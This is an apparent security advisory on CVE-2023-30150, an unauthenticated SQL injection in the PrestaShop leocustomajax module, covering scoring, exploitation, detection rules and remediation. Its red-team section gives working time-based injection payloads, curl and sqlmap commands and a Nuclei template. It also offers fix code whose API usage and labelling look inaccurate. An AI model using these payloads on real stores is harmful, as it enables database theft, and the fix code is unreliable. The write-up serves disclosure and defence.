CVE-2023-30150

Executive Summary

CVE-2023-30150 is a critical unauthenticated SQL Injection vulnerability in the PrestaShop third-party module leocustomajax versions 1.0 and 1.0.0, developed by leotheme. The flaw resides in the /modules/leocustomajax/leoajax.php endpoint, which fails to sanitize user-supplied input before constructing SQL queries. An attacker can exploit this vulnerability remotely without authentication, leading to full database compromise, data exfiltration, and potential server takeover. The vulnerability has a CVSS v3.1 base score of 9.8 (Critical) and is actively weaponized with public proof-of-concept (PoC) code and a Nuclei template. No official patch exists; mitigation requires immediate module removal or strict WAF rules.

Supply Chain & Package Security

This vulnerability affects a third-party PrestaShop module distributed via the PrestaShop Addons marketplace and potentially through direct vendor downloads. The module leocustomajax is not part of the core PrestaShop distribution, making it a supply chain risk. Users who installed this module from unverified sources or without integrity checks are at heightened risk. The vendor (leotheme) has not provided a security update, and the module may be abandoned. Organizations should audit their PrestaShop installations for this module and treat it as a compromised component.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)
• EPSS Score: 0.49288 (49.3% probability of exploitation in the wild within 30 days)
• EPSS Percentile: 97.8th percentile (highly likely to be exploited)

The threat level is Critical. The vulnerability is remotely exploitable, requires no authentication, and has a high impact on all three security pillars. The EPSS score indicates active exploitation is probable.

Deep Dive & Mechanics

The vulnerability is a classic SQL Injection in the leoajax.php file of the leocustomajax module. The endpoint accepts POST and GET parameters (e.g., pro_add, cat_list) and directly concatenates them into SQL queries without parameterization or sanitization.

Root Cause: The PHP code in leoajax.php likely uses $_POST['pro_add'] or $_GET['cat_list'] directly in a SQL query string, e.g.:

$sql = "SELECT * FROM products WHERE id = " . $_POST['pro_add'];

Attack Vector: An attacker sends a crafted HTTP request to /modules/leocustomajax/leoajax.php with malicious SQL payloads in the pro_add or cat_list parameters. The payload uses time-based blind SQL injection (e.g., SLEEP(6)) to confirm injection and extract data.

Example Payload (POST):

leoajax=1&pro_add=if(now()=sysdate(),sleep(6),0)

Example Payload (GET):

GET /modules/leocustomajax/leoajax.php?cat_list=(SELECT(0)FROM(SELECT(SLEEP(6)))a)

The server response time increases by 6 seconds if the injection is successful, confirming the vulnerability.

Vulnerable vs. Patched Code

Vulnerable Code (leocustomajax 1.0/1.0.0): The leoajax.php file contains unsanitized input handling. A representative vulnerable snippet:

$pro_add = $_POST['pro_add'];
$sql = "SELECT * FROM "._DB_PREFIX_."product WHERE id_product = " . $pro_add;
Db::getInstance()->executeS($sql);

Patched Code (Not Available): No official patch exists. A hypothetical fix would use prepared statements:

$pro_add = (int)$_POST['pro_add'];
$sql = "SELECT * FROM "._DB_PREFIX_."product WHERE id_product = " . $pro_add;
Db::getInstance()->executeS($sql);

Or better, parameterized queries:

$sql = "SELECT * FROM "._DB_PREFIX_."product WHERE id_product = ?";
Db::getInstance()->executeS($sql, array($_POST['pro_add']));

Since no patch is available, the only remediation is to remove the module.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A PrestaShop instance with leocustomajax module installed (versions 1.0 or 1.0.0).
• Network access to the target.

Step-by-Step Exploitation:

1. Verify Module Presence:

   curl -s -o /dev/null -w "%{http_code}" http://target.com/modules/leocustomajax/leocustomajax.js
   

   If HTTP 200, the module is present.

2. Time-Based SQL Injection (POST):

   curl -X POST "http://target.com/modules/leocustomajax/leoajax.php?rand=1234567890123" \
     -H "Content-Type: application/x-www-form-urlencoded" \
     -H "X-Requested-With: XMLHttpRequest" \
     -d "leoajax=1&pro_add=if(now()=sysdate(),sleep(6),0)" \
     --max-time 20
   

   If response takes >6 seconds, injection is confirmed.

3. Time-Based SQL Injection (GET):

   curl "http://target.com/modules/leocustomajax/leoajax.php?cat_list=(SELECT(0)FROM(SELECT(SLEEP(6)))a)" \
     --max-time 20
   

   If response takes >6 seconds, injection is confirmed.

4. Data Extraction (Example): Use sqlmap for automated extraction:

   sqlmap -u "http://target.com/modules/leocustomajax/leoajax.php?rand=1" \
     --data="leoajax=1&pro_add=1" \
     --technique=T --time-sec=6 --batch --dbs
   

Nuclei Template (provided in Hacker Arsenal):

id: CVE-2023-30150

info:
  name: PrestaShop leocustomajax 1.0 & 1.0.0 - SQL Injection
  author: mastercho
  severity: critical
  description: |
    PrestaShop leocustomajax 1.0 and 1.0.0 are vulnerable to SQL Injection via modules/leocustomajax/leoajax.php.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the PrestaShop application and its underlying database.
  remediation: |
    Apply the latest security patch or upgrade to a patched version of PrestaShop leocustomajax plugin to mitigate the SQL Injection vulnerability.
  reference:
    - https://security.friendsofpresta.org/module/2023/06/06/leocustomajax.html
    - https://www.tenable.com/cve/CVE-2023-30150
    - https://friends-of-presta.github.io/security-advisories/module/2023/06/06/leocustomajax.html
    - https://nvd.nist.gov/vuln/detail/CVE-2023-30150
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-30150
    cwe-id: CWE-89
    epss-score: 0.49288
    epss-percentile: 0.978
    cpe: cpe:2.3:a:leotheme:leocustomajax:1.0.0:*:*:*:*:prestashop:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: leotheme
    product: leocustomajax
    framework: prestashop
    shodan-query: http.component:"Prestashop"
  tags: cve,cve2023,prestashop,sqli,time-based-sqli,leotheme,vkev,vuln

variables:
  random_id: "{{rand_text_numeric(13)}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /modules/leocustomajax/leocustomajax.js HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - "contains_any(body, 'processajax', 'leoajax', 'leocustomajax.css', 'leosearch')"
        condition: and
        internal: true

  - raw:
      - |
        @timeout: 20s
        POST /modules/leocustomajax/leoajax.php?rand={{random_id}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded
        Referer: {{RootURL}}
        X-Requested-With: XMLHttpRequest

        leoajax=1&pro_add=if(now()=sysdate()%2Csleep(6)%2C0)

      - |
        @timeout: 20s
        GET /modules/leocustomajax/leoajax.php?cat_list=(SELECT(0)FROM(SELECT(SLEEP(6)))a) HTTP/1.1
        Host: {{Hostname}}

    host-redirects: true
    max-redirects: 3

    stop-at-first-match: true
    matchers:
      - type: dsl
        dsl:
          - 'duration_1>=6'
          - 'contains(tolower(body_1), "pro_add")'
        condition: and

      - type: dsl
        dsl:
          - 'duration_2>=6'
          - 'status_code_2 == 200'
          - 'contains(content_type, "text/html")'
        condition: and

Blue Team (Defensive)

Detection:

• Monitor for requests to /modules/leocustomajax/leoajax.php with unusual parameters (e.g., pro_add, cat_list containing SQL keywords like SLEEP, UNION, SELECT).
• Look for response delays >5 seconds from this endpoint.
• Use WAF rules to block SQL injection patterns.

Honeypot:

• Deploy a fake leoajax.php that logs all requests and alerts on suspicious payloads.

Lab Setup:

• Use Docker to spin up a vulnerable PrestaShop instance:

  docker run -d -p 8080:80 --name prestashop_vuln prestashop/prestashop:1.7.8
  

• Manually install the leocustomajax module (download from a mirror) into the modules/ directory.
• Test exploitation using the provided curl commands.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to /modules/leocustomajax/leoajax.php with parameters pro_add or cat_list containing SQL functions like SLEEP(), BENCHMARK(), UNION, SELECT, FROM.
• Response times >5 seconds for the above endpoint.
• User-Agent strings not matching typical browser patterns (e.g., curl, python-requests, sqlmap).

File IOCs:

• Presence of the file /modules/leocustomajax/leoajax.php on the server.
• Modified database tables (e.g., ps_product, ps_customer) with unexpected entries.

Log IOCs:

• Web server logs showing repeated requests to leoajax.php with SQL-like payloads.
• Database logs showing slow queries or errors related to SQL injection attempts.

Detection Engineering

YARA Rule

rule CVE_2023_30150_leoajax_sqli {
    meta:
        description = "Detects PrestaShop leocustomajax SQL injection attempts"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2023-30150"
        severity = "critical"
    strings:
        $s1 = "leoajax.php" nocase
        $s2 = "pro_add" nocase
        $s3 = "cat_list" nocase
        $s4 = "sleep(" nocase
        $s5 = "benchmark(" nocase
        $s6 = "union select" nocase
    condition:
        $s1 and ($s2 or $s3) and ($s4 or $s5 or $s6)
}

Sigma Rule

title: PrestaShop leocustomajax SQL Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection attempts against PrestaShop leocustomajax module
author: Valters IT
date: 2025/04/10
tags:
    - attack.initial_access
    - attack.t1190
    - cve.2023.30150
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'leoajax.php'
        cs-uri-query|contains|all:
            - 'pro_add'
            - 'sleep('
    condition: selection
falsepositives:
    - Legitimate use of sleep function in rare cases (unlikely)
level: critical

Suricata Rule

alert http $EXTERNAL_NET any -> $HOME_NET any (
    msg:"CVE-2023-30150 PrestaShop leocustomajax SQL Injection Attempt";
    flow:to_server,established;
    content:"/modules/leocustomajax/leoajax.php"; http_uri;
    content:"pro_add"; http_client_body;
    content:"sleep("; http_client_body; nocase;
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    reference:cve,2023-30150;
    reference:url,https://security.friendsofpresta.org/module/2023/06/06/leocustomajax.html;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Remove the module: Delete the /modules/leocustomajax/ directory entirely.

   rm -rf /path/to/prestashop/modules/leocustomajax/
   

2. Disable the module via PrestaShop admin panel (if removal is not possible): Go to Modules > Module Manager, find leocustomajax, and click "Disable".
3. Block the endpoint in the web server configuration:

   <LocationMatch "/modules/leocustomajax/">
       Require all denied
   </LocationMatch>
   

4. Apply WAF rules to block SQL injection patterns targeting leoajax.php.

Long-Term Mitigation:

• Replace the module with a secure alternative or develop a custom solution using prepared statements.
• Regularly audit all third-party modules for vulnerabilities.
• Implement a Web Application Firewall (WAF) with SQL injection signatures.
• Keep PrestaShop core and all modules updated.
• Monitor for any signs of compromise (e.g., unexpected database changes, new admin users).

Patch Status: No official patch from leotheme. The module should be considered abandoned and removed permanently.

Valters IT

{/* [Security Hash: 062090A522C344D2E25F0867] */}